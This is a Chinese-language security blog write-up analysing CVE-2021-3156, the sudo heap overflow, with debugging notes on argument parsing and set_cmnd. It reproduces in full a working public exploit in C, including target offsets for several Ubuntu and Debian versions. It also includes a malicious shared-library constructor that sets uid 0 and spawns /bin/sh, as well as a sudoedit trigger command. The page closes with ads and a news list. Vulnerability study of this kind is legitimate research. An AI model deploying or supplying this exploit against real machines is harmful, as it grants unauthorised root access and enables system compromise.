CVE-2021-3156 Linux sudo提权分析
$ 前言:
这是本人入门Linux内核的第二个星期,上一篇dirty-pipe分析已经在先知社区投稿了。本着积累多点bypass手段的想法,开始了这个sudo堆溢出学习。
$ EXP:
https://github.com/blasty/CVE-2021-3156
$ 环境搭建
ubuntu 18.04 sudo-1.8.25(环境搭建) sudo-1.8.21(静态分析用)
流程:
进入root
sudo?su
搭建pwndbg 编译sudo
make
make?install
这样编译出来的sudo是存在symbol的
$ 漏洞描述
$ 受影响的版本:
sudo: 1.8.2 - 1.8.31p2 sudo: 1.9.0 - 1.9.5p1
$ 检测sudo缺陷存在:

如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。
$ 漏洞复现:

$ 漏洞原理分析:
触发堆溢出:
sudoedit?-s?'\'?1111111111111111
调用链:(不同版本源码的行数不同)
sudo.c:134????????==>?main
sudo.c:247????????==>?policy_check
sudo.c:1149?????==>?sudoers_policy_check
policy.c:775????==>?sudoers_policy_main
sudoers.c:293????==>?set_cmnd
sudoers.c:853?==>?溢出位置
参数:注意几个参数:
mode flags
mode
NewArgv?=?sudoedit?\\?1111111111111111
分析parse_args.c:
parse_args是sudo用于处理传入参数的函数。
1. 静态分析

配置了mode = MODE_EDIT == 0x2

配置flags = MODE_SHELL == 0x20000 由于mode == MODE_EDIT所以跳转到 577行

配置:
*argv[0]?==?'s'?后续为:udoedit
*argv[1]?==?'\\'
*argv[2]?==?'1'?后续为:111111111111111
2. 动态调试分析

131072 == 0x20000 == MODE_SHELL


如图可以证实静态分析上对argv的修改。
分析sudo.c:
1.静态分析:

sudo_mode执行完parse_args被设置为:0x20002

根据转换触发到case MODE_EDIT

然后在MODE_RUN内部执行policy_check
2.动态分析:

131074 == 0x20002
分析sudoers_policy_check:
1.静态分析:


此时argc == 3 然后调用sudoers_policy_main
分析sudoers_policy_main:
静态分析:

在270行配置 (int) NewArgc == 3在271行固定了 \\后的长度最多为2个指针 == 16 字节在276行将 *NewArgv == 'sudoedit' '\\' '111...' 'NULL'

sudoers_policy_main将在293行调用到set_cmnd
动态分析:

分析set_cmnd:
静态分析:

由于之前没有给user_cmnd赋值,所以在812行将NewArgv指向sudoedit的指针赋值到user_cmnd


这里没搞懂是怎么ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)判断正确的

在849行中将申请的内存空间大小为
0x13 == '\\1111111111111111 '在853行中会判断正确后进入到溢出点第863行 在861行即为存在溢出的点,由于isspace()识别的是'\20',所以'\0'被bypass了,进而达成溢出条件。
注意:传入2个参数后最多能溢出16字节。user_args堆空间地址只要看在859行下断点看to指定地址就能获取到。
溢出情景模拟:
当前内存:
'\\' + '\0' + '1111111111111111'当前NewArgv + 1 == '\\' + '\0',那么执行到if判断时,就会from++进而将*from指向了'1111111111111111',继而调用了*to++ = *from++将'1111111111111111'复制到了user_args堆空间。而这已经将user_args堆空间占满了,但是在for循环上却仍然可以继续将'1111111111111111'复制到user_args堆空间后面的空间,在调用下一次for循环是NewArgv + 1 == '1111111111111111',而在while上from[0] != '\\'进而导致直接调用*to++ = *from++将'1111111111111111'复制到溢出空间,进而造成堆溢出。
正常的user_args堆空间:

发生溢出后的user_args堆空间:

$ 利用分析
下面是EXP解析:
#include?<stdio.h>
#include?<string.h>
#include?<stdlib.h>
#include?<stdint.h>
#include?<unistd.h>
#include?<ctype.h>
//?512?environment?variables?should?be?enough?for?everyone
#define?MAX_ENVP?512
#define?SUDOEDIT_PATH?"/usr/bin/sudoedit"
typedef?struct?{
????char?*target_name;
????char?*sudoedit_path;
????uint32_t?smash_len_a;
????uint32_t?smash_len_b;
????uint32_t?null_stomp_len;
????uint32_t?lc_all_len;?
}?target_t;
target_t?targets[]?=?{
????{
????????//?Yes,?same?values?as?20.04.1,?but?also?confirmed.
????????.target_name????=?"Ubuntu?18.04.5?(Bionic?Beaver)?-?sudo?1.8.21,?libc-2.27",
????????.sudoedit_path??=?SUDOEDIT_PATH,
????????.smash_len_a????=?56,
????????.smash_len_b????=?54,
????????.null_stomp_len?=?63,?
????????.lc_all_len?????=?212
????},
????{
????????.target_name????=?"Ubuntu?20.04.1?(Focal?Fossa)?-?sudo?1.8.31,?libc-2.31",
????????.sudoedit_path??=?SUDOEDIT_PATH,
????????.smash_len_a????=?56,
????????.smash_len_b????=?54,
????????.null_stomp_len?=?63,?
????????.lc_all_len?????=?212
????},
????{
????????.target_name????=?"Debian?10.0?(Buster)?-?sudo?1.8.27,?libc-2.28",
????????.sudoedit_path??=?SUDOEDIT_PATH,
????????.smash_len_a????=?64,
????????.smash_len_b????=?49,
????????.null_stomp_len?=?60,?
????????.lc_all_len?????=?214
????}
};
void?usage(char?*prog)?{
????fprintf(stdout,
????????"??usage:?%s?<target>\n\n"
????????"??available?targets:\n"
????????"??------------------------------------------------------------\n",
????????prog
????);
????for(int?i?=?0;?i?<?sizeof(targets)?/?sizeof(target_t);?i++)?{
????????printf("????%d)?%s\n",?i,?targets[i].target_name);
????}
????fprintf(stdout,
????????"??------------------------------------------------------------\n"
????????"\n"
????????"??manual?mode:\n"
????????"????%s?<smash_len_a>?<smash_len_b>?<null_stomp_len>?<lc_all_len>\n"
????????"\n",
????????prog
????);
}
int?main(int?argc,?char?*argv[])?{
????printf("\n**?CVE-2021-3156?PoC?by?blasty?<peter@haxx.in>\n\n");
????if?(argc?!=?2?&&?argc?!=?5)?{
????????usage(argv[0]);
????????return?-1;
????}
????target_t?*target?=?NULL;
????if?(argc?==?2)?{
????????int?target_idx?=?atoi(argv[1]);
????????if?(target_idx?<?0?||?target_idx?>=?(sizeof(targets)?/?sizeof(target_t)))?{
????????????fprintf(stderr,?"invalid?target?index\n");
????????????return?-1;
????????}
????????target?=?&targets[?target_idx?];
????}??else?{
????????target?=?malloc(sizeof(target_t));
????????target->target_name????=?"Manual";
????????target->sudoedit_path??=?SUDOEDIT_PATH;?//?"/usr/bin/sudoedit"
????????target->smash_len_a????=?atoi(argv[1]);
????????target->smash_len_b????=?atoi(argv[2]);
????????target->null_stomp_len?=?atoi(argv[3]);
????????target->lc_all_len?????=?atoi(argv[4]);
????}
????printf(
????????"using?target:?%s?['%s']?(%d,?%d,?%d,?%d)\n",?
????????target->target_name,
????????target->sudoedit_path,
????????target->smash_len_a,
????????target->smash_len_b,
????????target->null_stomp_len,
????????target->lc_all_len
????);
????char?*smash_a?=?calloc(target->smash_len_a?+?2,?1);?????//这里填充多2个字节
????char?*smash_b?=?calloc(target->smash_len_b?+?2,?1);?????//这里填充多2个字节
????memset(smash_a,?'A',?target->smash_len_a);??//填充A
????memset(smash_b,?'B',?target->smash_len_b);??//填充B
????smash_a[target->smash_len_a]?=?'\\';
????smash_b[target->smash_len_b]?=?'\\';
????char?*s_argv[]={
????????"sudoedit",?"-s",?smash_a,?"\\",?smash_b,?NULL
????};
????/**?56?*?A?+?'\\'?+?'\0'?+?'\0'?+?'\\'?+?'\0'?+?54?*?B?+?'\\'?+?'\0'????
?????**?生成113个字节空间
?????**/
????char?*s_envp[MAX_ENVP];
????int?envp_pos?=?0;
????for(int?i?=?0;?i?<?target->null_stomp_len;?i++)?{
????????s_envp[envp_pos++]?=?"\\";??//写入63个\\
????}
????s_envp[envp_pos++]?=?"X/P0P_SH3LLZ_";
????char?*lc_all?=?calloc(target->lc_all_len?+?16,?1);??//212
????strcpy(lc_all,?"LC_ALL=C.UTF-8@");
????memset(lc_all+15,?'C',?target->lc_all_len);
????s_envp[envp_pos++]?=?lc_all;
????s_envp[envp_pos++]?=?NULL;
????printf("**?pray?for?your?rootshell..?**\n");
????execve(target->sudoedit_path,?s_argv,?s_envp);??//触发提权
????return?0;
}//*s_envp?==?63个\\+"X/P0P_SH3LLZ_"+lc_all指针+NULL
?//*lc_all?==?"LC_ALL=C.UTF-8@"?+?197个"C"?
#include?<unistd.h>
#include?<stdio.h>
#include?<stdlib.h>
#include?<string.h>
static?void?__attribute__?((constructor))?_init(void);
static?void?_init(void)?{
????printf("[+]?bl1ng?bl1ng!?We?got?it!\n");
#ifndef?BRUTE
????setuid(0);?seteuid(0);?setgid(0);?setegid(0);
????static?char?*a_argv[]?=?{?"sh",?NULL?};
????static?char?*a_envp[]?=?{?"PATH=/bin:/usr/bin:/sbin",?NULL?};
????execv("/bin/sh",?a_argv);
#endif
}
大概EXP调用流程:
利用setlocale将我们exp中calloc的LC_ALL堆块free掉,然后在程序执行时调用get_user_info申请0x80堆块时会将user_args堆块申请在相邻ni->name = compat的service_user相邻位置。然后user_args堆块与ni->name = compat的service_user堆块位置就相对固定,进而达成100%溢出的条件来将原始service_table链表中的compat块中的ni ->name给覆盖掉,进而执行__libc_dlopen时调用到我们伪造的libc,然后调用libc中的初始化函数init来高权限调用setuid(0); seteuid(0); setgid(0); setegid(0);和execv("/bin/sh", a_argv);来提权root。关于实现细节就不方便讲解了。下面是溢出执行我们的libc的参数详情:


$ 分析细节:
CVE-2021-3156调试分析 CVE-2021-3156 sudo堆溢出分析与利用 cve-2021-3156分析 Sudo Exploit Writeup Heap-based buffer overflow in Sudo (CVE-2021-3156) util-linux mount/unmount ASLR bypass via environment variable CVE-2021-3156 sudo heap-based bufoverflow 复现&分析
end
招新小广告
ChaMd5?Venom?招收大佬入圈
新成立组IOT+工控+样本分析?长期招新
欢迎联系admin@chamd5.org

关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
- 1 习近平将发表二〇二六年新年贺词 7904141
- 2 2026年国补政策来了 7808738
- 3 东部战区:开火!开火!全部命中! 7712893
- 4 2026年这些民生政策将惠及百姓 7616985
- 5 小学食堂米线过期2.5小时被罚5万 7519709
- 6 解放军喊话驱离台军 原声曝光 7428214
- 7 为博流量直播踩烈士陵墓?绝不姑息 7327605
- 8 每月最高800元!多地发放养老消费券 7238391
- 9 数字人民币升级 1月1日起将计付利息 7141831
- 10 2026年1月1日起 一批新规将施行 7040675








Chamd5安全团队
